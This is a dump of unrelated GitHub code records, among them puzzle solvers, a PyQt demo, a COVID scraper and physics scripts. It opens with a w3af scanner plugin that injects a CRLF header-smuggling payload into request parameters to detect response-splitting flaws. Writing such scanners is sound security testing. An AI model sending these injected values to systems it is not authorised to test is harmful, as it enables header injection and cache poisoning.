'vulnerable073b'\nHEADER_VALUE = 'ae5cw3af'\n\nclass responseSplitting(baseAuditPlugin):\n '''\n Find response splitting vulnerabilities.\n @author: Andres Riancho ( andres.riancho@gmail.com )\n '''\n\n def __init__(self):\n baseAuditPlugin.__init__(self)\n\n def audit(self, freq ):\n '''\n Tests an URL for response splitting vulnerabilities.\n \n @param freq: A fuzzableRequest\n '''\n om.out.debug( 'responseSplitting plugin is testing: ' + freq.getURL() )\n \n rsList = self._get_header_inj()\n mutants = createMutants( freq , rsList )\n \n for mutant in mutants:\n \n # Only spawn a thread if the mutant has a modified variable\n # that has no reported bugs in the kb\n if self._hasNoBug( 'responseSplitting' , 'responseSplitting',\\\n mutant.getURL() , mutant.getVar() ):\n \n targs = (mutant,)\n self._tm.startFunction( target=self._sendMutant, args=targs, ownerObj=self )\n \n self._tm.join( self )\n \n def _get_errors( self ):\n '''\n @return: A list of error strings produced by the programming framework when\n we try to modify a header, and the HTML output is already being written to\n the cable, or something similar.\n '''\n res = []\n res.append( 'Header may not contain more than a single header, new line detected' )\n res.append( 'Cannot modify header information - headers already sent' )\n return res\n \n def _analyzeResult( self, mutant, response ):\n '''\n Analyze results of the _sendMutant method.\n '''\n #\n # Only one thread at the time can enter here. This is because I want to report each\n # vulnerability only once, and by only adding the \"if self._hasNoBug\" statement, that\n # could not be done.\n #\n with self._plugin_lock:\n \n #\n # I will only report the vulnerability once.\n #\n if self._hasNoBug( 'responseSplitting' , 'responseSplitting' ,\\\n mutant.getURL() , mutant.getVar() ):\n \n # When trying to send a response splitting to php 5.1.2 I get :\n # Header may not contain more than a single header, new line detected\n for error in self._get_errors():\n \n if error in response:\n msg = 'The variable \"' + mutant.getVar() + '\" of the URL ' + mutant.getURL()\n msg += ' modifies the headers of the response, but this error was sent while'\n msg += ' testing for response splitting: \"' + error + '\"'\n \n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n\n return\n \n if self._header_was_injected( response ):\n v = vuln.vuln( mutant )\n v.setPluginName(self.getName())\n v.setDesc( 'Response Splitting was found at: ' + mutant.foundAt() )\n v.setId( response.id )\n v.setSeverity(severity.MEDIUM)\n v.setName( 'Response splitting vulnerability' )\n kb.kb.append( self, 'responseSplitting', v )\n \n def end(self):\n '''\n This method is called when the plugin wont be used anymore.\n '''\n self._tm.join( self )\n self.printUniq( kb.kb.getData( 'responseSplitting', 'responseSplitting' ), 'VAR' )\n \n def _get_header_inj( self ):\n '''\n With setOptions the user entered a URL that is the one to be included.\n This method returns that URL.\n \n @return: A string, see above.\n '''\n responseSplitStrings = []\n # This will simply add a header saying : \"Vulnerable: Yes\" (if vulnerable)\n # \\r\\n will be encoded to %0d%0a\n responseSplitStrings.append(\"w3af\\r\\n\" + HEADER_NAME +\": \" + HEADER_VALUE)\n \n return responseSplitStrings\n \n def getOptions( self ):\n '''\n @return: A list of option objects for this plugin.\n ''' \n ol = optionList()\n return ol\n\n def setOptions( self, OptionList ):\n '''\n This method sets all the options that are configured using the user interface \n generated by the framework using the result of getOptions().\n \n @parameter OptionList: A dictionary with the options for the plugin.\n @return: No value is returned.\n ''' \n pass\n \n def _header_was_injected( self, response ):\n '''\n This method verifies if a header was successfully injected\n \n @parameter response: The HTTP response where I want to find the injected header.\n @return: True / False\n '''\n # Get the lower case headers\n headers = response.getLowerCaseHeaders()\n \n # Analyze injection\n for header, value in headers.items():\n if HEADER_NAME in header and value.lower() == HEADER_VALUE:\n return True\n \n elif HEADER_NAME in header and value.lower() != HEADER_VALUE:\n msg = 'The vulnerable header was added to the HTTP response, '\n msg += 'but the value is not what w3af expected ('+HEADER_NAME+': '+HEADER_VALUE+')'\n msg += ' Please verify manually.'\n om.out.information(msg)\n\n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n return False\n \n elif HEADER_NAME in value.lower():\n msg = 'The vulnerable header wasn\\'t added to the HTTP response, '\n msg += 'but the value of one of the headers was successfully modified.'\n msg += ' Please verify manually.'\n om.out.information(msg)\n\n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n return False\n \n return False\n\n def getPluginDeps( self ):\n '''\n @return: A list with the names of the plugins that should be runned before the\n current one.\n '''\n return []\n \n def getLongDesc( self ):\n '''\n @return: A DETAILED description of the plugin functions and features.\n '''\n return '''\n This plugin will find response splitting vulnerabilities. \n \n The detection is done by sending \"w3af\\\\r\\\\nVulnerable: Yes\" to every injection point, and reading the\n response headers searching for a header with name \"Vulnerable\" and value \"Yes\".\n '''\n","repo_name":"adambaldwin2/test","sub_path":"plugins/audit/responseSplitting.py","file_name":"responseSplitting.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23859540388","text":"n = int(input())\narr = list(map(int, input().split()))\narr3 = []\nfor k in range(1, n+1):\n #print(k)\n arr2 = []\n z = k\n while k:\n if k in arr2:\n #print(arr1000)\n arr3.append(k)\n break\n else:\n arr2.append(k)\n k = arr[k-1]\nprint(*arr3)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Badge.py","file_name":"Badge.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17523360928","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nimport sys\nimport threading\nimport time\nclass main():\n\n def __init__(self) -> None:\n self.window()\n thr_count = threading.Thread(target=self.countdown, args=(), kwargs={}, name='thread_function')\n thr_count.start()\n \n\n def window(self):\n #app = QApplication(sys.argv )\n #win = QMainWindow()\n #win.setGeometry(200, 200, 300, 300)\n #win.setWindowTitle(\"Egg's Screen test\")\n\n #self.count_val = 10\n #self.label = QtWidgets.QLabel(win)\n #self.label.setText(str(self.count_val))\n #self.label.move(50,50)\n #win.show()\n #sys.exit(app.exec_())\n self.count_val = 10\n print(\"window\")\n\n def countdown(self):\n print(\"counting down\")\n while(self.count_val > 0):\n self.count_val = self.count_val - 1\n print(self.count_val)\n time.sleep(1)\n \n \n \n\nm = main()","repo_name":"eggsys/python_log","sub_path":"pyqt/screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41192627953","text":"import FWCore.ParameterSet.Config as cms\n\ngemRecHitsDef = cms.EDProducer('GEMRecHitProducer',\n recAlgoConfig = cms.PSet(),\n recAlgo = cms.string('GEMRecHitStandardAlgo'),\n gemDigiLabel = cms.InputTag('muonGEMDigis'),\n applyMasking = cms.bool(False),\n maskFile = cms.optional.FileInPath,\n deadFile = cms.optional.FileInPath,\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"RecoLocalMuon/GEMRecHit/gemRecHitsDef_cfi.py","file_name":"gemRecHitsDef_cfi.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23432255401","text":"\r\nimport fileinput\r\n\r\ndef solveD(A,B):\r\n C = sorted(zip(A,[0]*len(A))+zip(B, [1] *len(B)), key = lambda x: x[0])\r\n \r\n aux = 0\r\n loses = 0\r\n for i in range(len(C)):\r\n if C[i][1] == 1:\r\n aux += 1\r\n elif C[i][1] == 0:\r\n aux -= 1\r\n if aux < 0:\r\n loses += 1\r\n aux = 0\r\n jane_wins_trick = len(A)-loses\r\n \r\n aux = 0\r\n for i in range(len(C)):\r\n if C[i][1] == 0:\r\n aux += 1\r\n if aux > 0 and C[i][1] == 1:\r\n aux -= 1\r\n jane_wins_normal = aux\r\n \r\n return jane_wins_trick, jane_wins_normal\r\n\r\ndef main():\r\n fin = fileinput.input()\r\n T = int(next(fin)) # number of test cases\r\n for case in range(1, T+1):\r\n N = int(next(fin)) # number of blocks\r\n A = [float(x) for x in next(fin).split(\" \")]\r\n B = [float(x) for x in next(fin).split(\" \")]\r\n R1,R2 = solveD(A, B)\r\n print(\"Case #{}: {} {}\".format(case,R1,R2))\r\n fin.close()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/1184.py","file_name":"1184.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72219133953","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 22 00:00:16 2017\n\n@author: ANEESH\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#x = np.random.randn(10,1)\n\nranges = [i for i in range(1,101)]\n\n\n\nangle = [i*np.pi/16 for i in ranges]\n\nradius = [6.5*(104-i) for i in ranges]\n\nx1 = radius*np.cos(angle)\ny1 = radius*np.sin(angle)\n\nx2=-1*x1\ny2=-1*y1\n\nplt.plot(x1,y1,c='r', label = 'Class 1')\nplt.plot(x2,y2,c='b', label = 'Class 2')\nplt.title('Not linearly separable')\nplt.xlabel('X - axis')\nplt.ylabel('Y - axis')\nplt.legend(loc='upper right')\nplt.show()","repo_name":"AneeshCEN/data_generation","sub_path":"spiral.py","file_name":"spiral.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16870301681","text":"\"\"\" Represents\n tree structure\n for each of puzzles\"\"\"\nfrom Table import Table\nimport datetime\n\nclass Node:\n Left = None; Right = None; Up = None;Down = None;\n Parent = None;\n visited = False;\n\n\n def __init__(self, k, l, m, n, o, p, r, s, t):\n self.puzzle = Table(a=k, b=l, c=m, d=n, e=o, f=p, g=r, h=s, j=t)\n\n def insertLeft(self, dictionary):\n print(\"A new node will be created and inserted to left.\")\n self.Left = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertRight(self, dictionary):\n print(\"A new node will be created and inserted to right.\")\n self.Right = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertDown(self, dictionary):\n print(\"A new node will be created and inserted to down.\")\n self.Down = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertUp(self, dictionary):\n print(\"A new node will be created and inserted to up.\")\n self.Up = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def __eq__(self, other):\n return self.puzzle == other.puzzle\n\n def constructNeighbours(self):\n if self.puzzle.canLeft():\n print(\"Node can be shifted to left\")\n leftDict = dict(self.puzzle.shiftLeft())\n self.insertLeft(leftDict)\n self.Left.Parent = self\n print(\"Left Node:\")\n self.Left.puzzle.printTable()\n if self.puzzle.canRight():\n print(\"Node can be shifted to right\")\n rightDict = dict(self.puzzle.shiftRight())\n self.insertRight(rightDict)\n self.Right.Parent = self\n print(\"Right Node:\")\n self.Right.puzzle.printTable()\n if self.puzzle.canDown():\n print(\"Node can be shifted to down\")\n downDict = dict(self.puzzle.shiftDown())\n self.insertDown(downDict)\n self.Down.Parent = self\n print(\"Down Node:\")\n self.Down.puzzle.printTable()\n if self.puzzle.canUp():\n print(\"Node can be shifted to up\")\n upDict = dict(self.puzzle.shiftUp())\n self.insertUp(upDict)\n self.Up.Parent = self\n self.Up.puzzle.printTable()\n\n def findPathToRoot(self, startNode):\n rootOfCurrent = self.Parent\n # Find relation with its parent #\n if rootOfCurrent.Left is not None and rootOfCurrent.Left is self:\n print(\"LEFT \", u'\\N{BLACK LEFT-POINTING TRIANGLE}')\n if rootOfCurrent is startNode:\n print(\"ACHIEVED START STATE!\")\n return ;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Right is not None and rootOfCurrent.Right is self:\n print(\"RIGHT \", u'\\N{BLACK RIGHT-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Up is not None and rootOfCurrent.Up == self:\n print(\"UP\", u'\\N{BLACK UP-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Down is not None and rootOfCurrent.Down == self:\n print(\"DOWN\", u'\\N{BLACK DOWN-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n\n def BFS_Serial(self, finishNode):\n \"\"\"Python's built-in List data structure\n comes bundled with methods to simulate both stack and queue operations.\"\"\"\n PQ = []\n PQ.append(self)\n self.visited = True\n self.puzzle.printTable()\n\n \"\"\" Store Timestamp When We Started To BFS Traversal\"\"\"\n startTS = datetime.datetime.now()\n while len(PQ) is not 0:\n # Pop a node from queue\n removedFromQueue = PQ.pop(0)\n removedFromQueue.puzzle.appendToVisitedPuzzles(removedFromQueue.puzzle.matrix)\n removedFromQueue.puzzle.printTable()\n if removedFromQueue == finishNode:\n print(\"ACHIEVED GOAL STATE!\")\n finishTS = datetime.datetime.now()\n print(\"Start Time: {}:{}.{}.{} \".format(startTS.hour, startTS.minute, startTS.second,\n startTS.microsecond))\n print(\"Finish Time: {}:{}.{}.{} \".format(finishTS.hour, finishTS.minute, finishTS.second,\n finishTS.microsecond))\n print(\"Processing Time: {}\".format(finishTS.microsecond - startTS.microsecond))\n removedFromQueue.findPathToRoot(self)\n return;\n\n removedFromQueue.constructNeighbours()\n if removedFromQueue.Left is not None:\n print(\"Left node exists.\")\n if removedFromQueue.Left.visited is False:\n print(\"Left node is not traversed.\")\n removedFromQueue.Left.visited = True\n PQ.append(removedFromQueue.Left)\n if removedFromQueue.Right is not None:\n print(\"Right node exists.\")\n if removedFromQueue.Right.visited is False:\n print(\"Right node is not traversed.\")\n removedFromQueue.Right.visited = True\n PQ.append(removedFromQueue.Right)\n if removedFromQueue.Up is not None:\n print(\"Up node exists.\")\n if removedFromQueue.Up.visited is False:\n print(\"Up node is not traversed.\")\n removedFromQueue.Up.visited = True\n PQ.append(removedFromQueue.Up)\n if removedFromQueue.Down is not None:\n print(\"Down node exists.\")\n if removedFromQueue.Down.visited is False:\n print(\"Down node is not traversed.\")\n removedFromQueue.Down.visited = True\n PQ.append(removedFromQueue.Down)\n\n","repo_name":"celikelozdinc/BFS_4_nxn","sub_path":"Node.py","file_name":"Node.py","file_ext":"py","file_size_in_byte":7176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27299899682","text":"from webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver import ChromeOptions\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nimport os\nfrom time import sleep\n\n\n\nclass Data :\n \n def __init__(self,url):\n self.url = url \n self.data = self.get_data()\n \n\n def get_data(self) :\n options = ChromeOptions() \n options.add_argument(\"headless\")\n options.add_argument('--log-level=1')\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()) , options=options)\n driver.get(self.url)\n os.system('cls' if os.name == 'nt' else 'clear')\n sleep(2)\n totals = [ elem.text for elem in driver.find_elements(By.CSS_SELECTOR ,\".maincounter-number\")] \n countries = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR, 'a[href^=\"country\"]')] \n countries = [elem for elem in countries if elem] \n countries.insert(207,\"Diamond Princess\")\n countries.insert(213,\"Palau\")\n countries.insert(217,\"MS Zaandam\")\n total_cases = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \".sorting_1\")] \n total_cases = [elem for elem in total_cases if elem]\n del total_cases[0]\n total_deaths = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \"td:nth-of-type(5)\")] \n total_deaths = total_deaths[4:232]\n del total_deaths[1]\n del total_deaths[6]\n del total_deaths[32]\n del total_deaths[207]\n total_recovered = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \"td:nth-of-type(7)\")] \n total_recovered = total_recovered[4:232]\n total_recovered = [ elem for elem in total_recovered if elem]\n countries.insert(0,'World')\n total_cases.insert(0,totals[0])\n total_deaths.insert(0,totals[1])\n total_recovered.insert(0,totals[2])\n data = {'Countries' : countries , 'Total Cases' : total_cases , 'Total Deaths' : total_deaths , 'Total Recovered' : total_recovered}\n\n return data\n\n\n def get_total_country_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Cases'][i]) == '' :\n return 0 \n return self.data['Total Cases'][i]\n\n def get_total_country_death_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Deaths'][i]) == '' :\n return 0 \n return self.data['Total Deaths'][i]\n\n def get_total_country_recovered_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Recovered'][i]) == '' :\n return 0 \n if str(self.data['Total Recovered'][i]) == 'N/A' :\n return 'Not Available'\n return self.data['Total Recovered'][i]\n\n\n\n\n\n \n\n ","repo_name":"ChoukriLach/Corona-Scraping","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40322778792","text":"import matplotlib.pyplot as plt\nimport HierAMuS\nimport os,sys\nimport gmsh\n\ndef run(order):\n gmsh.initialize()\n gmsh.model.add(\"test\")\n gmsh.option.setNumber('General.Terminal', 0)\n\n L=10\n h=1\n b=1\n\n gmsh.model.occ.addPoint(0,0,0)\n gmsh.model.occ.addPoint(L,0,0)\n printNode=gmsh.model.occ.addPoint(L,b,0)\n gmsh.model.occ.addPoint(0,b,0)\n gmsh.model.occ.addPoint(0,0,h)\n gmsh.model.occ.addPoint(L,0,h)\n gmsh.model.occ.addPoint(L,b,h)\n gmsh.model.occ.addPoint(0,b,h)\n\n # Lines of lower face 1\n gmsh.model.occ.addLine(1,2)\n gmsh.model.occ.addLine(2,3)\n gmsh.model.occ.addLine(3,4)\n gmsh.model.occ.addLine(4,1)\n\n lowerFaceLines = [1,4,3,2]\n\n # left face liness 2\n gmsh.model.occ.addLine(1,5)\n gmsh.model.occ.addLine(5,8)\n gmsh.model.occ.addLine(8,4)\n\n leftFaceLines = [5,6,7,4]\n\n # right face lines 3\n gmsh.model.occ.addLine(2,6)\n gmsh.model.occ.addLine(6,7)\n gmsh.model.occ.addLine(7,3)\n\n rightFaceLines = [2,10,9,8]\n\n # top face lines 4\n gmsh.model.occ.addLine(5,6)\n gmsh.model.occ.addLine(7,8)\n\n topFaceLines = [12,6,11,9]\n\n # front face lines 5\n frontFaceLines = [1,8,11,5]\n\n # back face lines 6\n backFaceLines = [3,10,12,7]\n\n xlines = [1,3,11,12]\n ylines = [2,9,4,6]\n zlines = [5,7,8,10]\n\n\n # lower face 1\n cl=gmsh.model.occ.addCurveLoop(lowerFaceLines)\n f1=gmsh.model.occ.addPlaneSurface([cl])\n\n # left face 2\n cl=gmsh.model.occ.addCurveLoop(leftFaceLines)\n bounFace=gmsh.model.occ.addPlaneSurface([cl])\n\n\n # right face 3\n cl=gmsh.model.occ.addCurveLoop(rightFaceLines)\n loadFace=gmsh.model.occ.addPlaneSurface([cl])\n # top face 4\n cl=gmsh.model.occ.addCurveLoop(topFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n # front face 5\n cl=gmsh.model.occ.addCurveLoop(frontFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n # top face 6\n cl=gmsh.model.occ.addCurveLoop(backFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n\n gmsh.model.occ.addSurfaceLoop([1,2,3,4,5,6])\n gmsh.model.occ.addVolume([1])\n\n\n gmsh.model.occ.synchronize()\n\n if order ==1:\n nx=51\n ny=5\n nz=5\n else:\n nx=26\n ny=3\n nz=3\n\n # settings the lines to be transfinite\n for i in xlines:\n gmsh.model.mesh.setTransfiniteCurve(i,nx)\n for i in ylines:\n gmsh.model.mesh.setTransfiniteCurve(i,ny)\n for i in zlines:\n gmsh.model.mesh.setTransfiniteCurve(i,nz)\n\n # setting the faces to be transfinite\n for i in [1,2,3,4,5,6]:\n gmsh.model.mesh.setTransfiniteSurface(i)\n\n # setting the volume to be transfinite\n gmsh.model.mesh.setTransfiniteVolume(1)\n\n\n gmsh.option.setNumber(\"Mesh.RecombineAll\", 1) # This option sets gmsh to recombine tetra to bricks\n\n #gmsh.fltk.run()\n gmsh.model.mesh.generate(3)\n\n\n \n path = os.path.dirname(__file__)\n fesys = HierAMuS.FEMPy(path,\"PlasticCantilever\")\n fesys.setStaticSolutionState()\n fesys.setSolver(4)\n\n mesh = fesys.getMeshCommands()\n macro = fesys.getMacroCommands()\n gm = mesh.getFromGMESH()\n geo = mesh.getGeometryCommands()\n\n macro.setLogLevel(fesys.NoLog(),fesys.NoLog())\n\n gm.addGeomFromGmsh(gmsh)\n geo.checkGeometry()\n\n gm.addVolumeElements(gmsh,1,1)\n\n mesh.getElementFormulations().addEL300_3DSolid(num=1,meshiddisp=1,disporder=order,mode=1)\n mesh.getMaterialFormulations().addMA3_SmallStrainPlasticity(1,E=100,nu=0.3,y0=10,yinf=0,xh=40,xd=0,eta=0)\n mesh.addMaterial(matNum=1,matFormNum=1,elemFormNum=1)\n\n mesh.setDegreesOfFreedom()\n\n fnums = gm.getFaceNumbers(gmsh=gmsh,tagin=bounFace,ftype=4,order=1)\n mesh.getBoundaryConditions().singleBC(eltype=geo.faceType(),number=fnums,meshId=1,dofs=[1,1,1],shapeOrder=order,set=True)\n\n fnums = gm.getFaceNumbers(gmsh=gmsh,tagin=loadFace,ftype=4,order=1)\n mesh.getBoundaryConditions().singleLoad(eltype=geo.faceType(),number=fnums,meshId=1,load=[0,1,0],propnum=1,shapeorder=order)\n\n [coor, pcoor, dim, nt] =gmsh.model.mesh.getNode(printNode)\n\n\n gmsh.finalize()\n macro.sparseSetUp()\n\n macro.setPropFunction(number=1,function=lambda t: t,tmin=0,tmax=1.01)\n macro.setPropFunction(number=1,function=lambda t: -t+2,tmin=1,tmax=3)\n macro.setDt(dt=0.1)\n\n\n solvec = [0]\n timevec= [0]\n t = 0\n fesys.getPlotCommands().toFile()\n for i in range(20):\n macro.timeincr()\n macro.newton(refResidual=1e-9)\n t += 0.1\n timevec.append(t)\n sol=macro.getSolution(geo.vertexType(),nt,1)\n solvec.append(sol[1])\n fesys.getPlotCommands().toFile()\n return timevec, solvec \n\n\nx,y = run(1)\nprint(x)\nprint(y)\n\nfig, ax = plt.subplots()\n\nax.plot(x, y, linewidth=3.0)\nprint(__file__)\n\nplt.show()","repo_name":"sklarmann/HierAMuS","sub_path":"Tests/debugtests/threeD/brick/plasticCantilever.py","file_name":"plasticCantilever.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72531162753","text":"\"\"\"\n\n\"\"\"\n# pylint: disable=line-too-long\nfrom __future__ import annotations\n\nimport abc\nimport logging as logmod\nfrom dataclasses import InitVar, dataclass, field\nfrom typing import (TYPE_CHECKING, Any, Callable, ClassVar, Final, Generic,\n Iterable, Iterator, Mapping, Match, MutableMapping,\n Protocol, Sequence, Tuple, TypeAlias, TypeGuard, TypeVar,\n cast, final, overload, runtime_checkable)\n\nlogging = logmod.getLogger(__name__)\n\nif TYPE_CHECKING:\n # tc only imports\n pass\n\n@dataclass\nclass AcabProtocolError(BaseException):\n \"\"\"\n Error for reporting when classes do not fully implement their abstract methods or protocols\n \"\"\"\n target : type = field()\n protocol : None|Protocol = field(default=None)\n\n @staticmethod\n def assert_implements(proto:type, *, exceptions:None|list[str]|set[str]|frozenset[str]=None, error:bool=True) -> Callable[..., type]: #type:ignore\n \"\"\"\n Raise an Error if the decorated class has abstractmethods found in the protocol\n \"\"\"\n exceptions = set(exceptions or [])\n assert(hasattr(proto, '__abstractmethods__')), \"Protocols must be abstract\" #type:ignore\n assert(isinstance(exceptions, set))\n proto_abs : set[str] = set(proto.__abstractmethods__) - exceptions #type:ignore\n def __wrapper(target_cls : type) -> type:\n has_abstract : bool = hasattr(target_cls, '__abstractmethods__')\n has_all_methods : bool = all([hasattr(target_cls, x) for x in proto_abs])\n if not has_abstract and has_all_methods:\n return target_cls\n\n if not has_all_methods:\n if error:\n raise AcabProtocolError(target_cls, proto)\n logging.warning(str(AcabProtocolError(target_cls, proto)))\n\n if has_abstract and bool(target_cls.__abstractmethods__ & proto_abs): #type:ignore\n if error:\n raise AcabProtocolError(target_cls, proto)\n logging.warning(str(AcabProtocolError(target_cls, proto)))\n\n\n return target_cls\n\n return __wrapper\n\n @staticmethod\n def assert_concrete(target_cls:None|type=None, *, exceptions:None|list[str]|set[str]|frozenset[str]=None, error:bool=True) -> Callable[..., type]:\n \"\"\"\n Raise an Error (or warning) if the decorated class has abstractmethods\n (without waiting till instantiation)\n \"\"\"\n exceptions = set(exceptions or [])\n assert(isinstance(exceptions, set))\n def __wrapper(target_cls : type) -> type:\n has_abstract : bool = hasattr(target_cls, '__abstractmethods__')\n if not has_abstract:\n return target_cls\n\n if bool(target_cls.__abstractmethods__ - exceptions): #type:ignore\n if error:\n raise AcabProtocolError(target_cls)\n logging.warning(str(AcabProtocolError(target_cls)))\n\n return target_cls\n\n if target_cls is None:\n return __wrapper\n\n return __wrapper(target_cls)\n\n\n def __str__(self) -> str:\n assert(hasattr(self.target, \"__abstractmethods__\"))\n target_s : str = f\"{self.target.__module__}.{self.target.__qualname__}\" #type:ignore\n\n if self.protocol is not None:\n proto_s : str = f\"{self.protocol.__module__}.{self.protocol.__qualname__}\" #type:ignore\n missing = \", \".join(self.target.__abstractmethods__ & self.protocol.__abstractmethods__) #type:ignore\n msg = f\"Type is Abstract for Protocol: {target_s} : {proto_s}\\n\\tMissing: {missing}\"\n else:\n missing = \", \".join(self.target.__abstractmethods__) #type:ignore\n msg = f\"Class has AbstractMethods: {target_s}\\n\\tMissing: {missing}\"\n\n return msg\n","repo_name":"jgrey4296/acab_config","sub_path":"acab_config/error/protocol_error.py","file_name":"protocol_error.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16055570558","text":"# -*- coding: iso-8859-15 -*-\r\nimport arcpy\r\nimport os\r\nimport uuid\r\n \r\nWeb_Map_as_JSON = arcpy.GetParameterAsText(0)\r\n\r\noutput = 'WebMap_{}.txt'.format(str(uuid.uuid1()))\r\nOutput_File = os.path.join(arcpy.env.scratchFolder, output)\r\n\r\nf = open(Output_File, 'w')\r\nf.write(Web_Map_as_JSON)\r\nf.close\r\n\r\narcpy.SetParameterAsText(1, Output_File)\r\narcpy.AddMessage(\"***FIN***\")","repo_name":"RodrigoInosh/CalculoPredictivo","sub_path":"ImprimirJSON.py","file_name":"ImprimirJSON.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17091467974","text":"import sys\nfrom model003.model import MCActor as MCActor003\n\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport numpy as np\n\nsys.path.append('./model004')\nfrom utils import device, pdump, pload\nfrom utils import WRSNDataset\nfrom utils import WrsnParameters as wp, DrlParameters as dp\nimport os\nimport torch\nimport random_strategy\nimport main as model002\nimport utils\n\n\ndef run_model003(data_loader, name, save_dir, wp, max_step=1000):\n actor = MCActor003(dp.MC_INPUT_SIZE,\n dp.DEPOT_INPUT_SIZE,\n dp.SN_INPUT_SIZE,\n dp.hidden_size,\n dp.dropout).to(device)\n\n save_dir = os.path.join(save_dir, name)\n checkpoint = 'model003/checkpoints/mc_20_10_3_small/0'\n path = os.path.join(checkpoint, 'actor.pt')\n actor.load_state_dict(torch.load(path, device))\n\n ret = model002.validate(data_loader, model002.decision_maker, (actor,), wp=wp, max_step=max_step,\n render=False, verbose=False)\n return ret\n\nif __name__ == '__main__':\n np.set_printoptions(suppress=True)\n torch.set_printoptions(sci_mode=False)\n seed=123\n torch.manual_seed(seed-1)\n np.random.seed(seed-2)\n dataset = WRSNDataset(20, 10, 1, 1)\n wp.k_bit = 6000000\n data_loader = DataLoader(dataset, 1, False, num_workers=0)\n actor = MCActor003(dp.MC_INPUT_SIZE,\n dp.DEPOT_INPUT_SIZE,\n dp.SN_INPUT_SIZE,\n 